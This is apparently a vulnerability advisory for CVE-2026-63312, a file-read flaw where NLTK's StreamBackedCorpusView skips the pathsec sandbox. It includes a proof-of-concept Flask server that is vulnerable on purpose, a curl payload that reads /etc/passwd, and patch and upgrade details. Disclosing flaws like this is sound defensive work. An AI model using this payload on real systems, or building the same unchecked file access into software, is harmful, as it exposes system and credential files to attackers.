CVE-2026-63312: NLTK StreamBackedCorpusView Arbitrary File Read via pathsec.ENFORCE Bypass
NLTK's corpus reader ignores the pathsec.ENFORCE sandbox and opens any file on disk directly, so an attacker who controls the fileid argument can read sensitive files even when the app has explicitly…
The problem
NLTK <= 3.9.4 ships a path-security module (pathsec) that operators can lock down with ENFORCE=True to restrict all file access to approved NLTK data directories.
StreamBackedCorpusView._open() in nltk/corpus/reader/util.py never calls pathsec.validate_path(). It calls os.stat() at line 171 and builtins.open() at line 208 with the raw, caller-supplied fileid string. The sandbox is never consulted, so any absolute path works.
XMLCorpusView and every corpus reader subclass that passes a raw string fileid inherits the same gap.
Proof of concept
A working proof-of-concept for CVE-2026-63312 in nltk, with the exact payload below.
# poc_server.py — run with: python poc_server.py
from flask import Flask, request, jsonify
import nltk.pathsec as ps
from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block
ps.ENFORCE = True # sandbox enabled — has no effect on StreamBackedCorpusView
app = Flask(__name__)
@app.post("/read")
def read_file():
fname = request.json.get("file") # attacker-controlled
view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8")
return jsonify({"file": fname, "content": view[0]})
app.run(host="0.0.0.0", port=8000)
# Trigger:
# curl -s -X POST http://localhost:8000/read \
# -H 'Content-Type: application/json' \
# -d '{"file": "/etc/passwd"}'The flaw is a missing validation call: pathsec.open() wraps builtins.open() with a validate_path() check, but StreamBackedCorpusView bypasses that wrapper and calls builtins.open() directly. No privileges are needed because the check that should block the call simply does not exist in this code path.
The patch in PR #3588 (commit 674ea75) replaces the bare builtins.open() call and the os.stat() call in StreamBackedCorpusView._open() with nltk.pathsec.open() and pathsec.validate_path() respectively, so ENFORCE=True now raises PermissionError for out-of-root paths as documented.
CWE-22 (Path Traversal) and CWE-284 (Improper Access Control).
The fix
Upgrade to nltk >= 3.10.0, which includes PR #3588 (commit 674ea75accdf08eca3782dee0a9c4ed7e0d0025b). If an immediate upgrade is not possible, do not pass untrusted strings as the fileid argument to StreamBackedCorpusView or any corpus reader subclass, and validate all such paths against an allowlist before use.
Note that setting pathsec.ENFORCE=True alone does NOT protect against this issue on affected versions.
Related research
- high · 7.5CVE-2026-62384CVE-2026-62384: NLTK FramenetCorpusReader Symlink Sandbox Bypass
- highCVE-2026-79676CVE-2026-79676: NLTK Corpus Readers Symlink Path Traversal (pathsec Bypass)
- high · 7CVE-2026-81726CVE-2026-81726: NLTK Model-Artifact APIs Path Traversal Bypass (pathsec sandbox escape)
- high · 7.5CVE-2026-12243CVE-2026-12243: nltk Arbitrary File Read via Percent-Encoded Path Traversal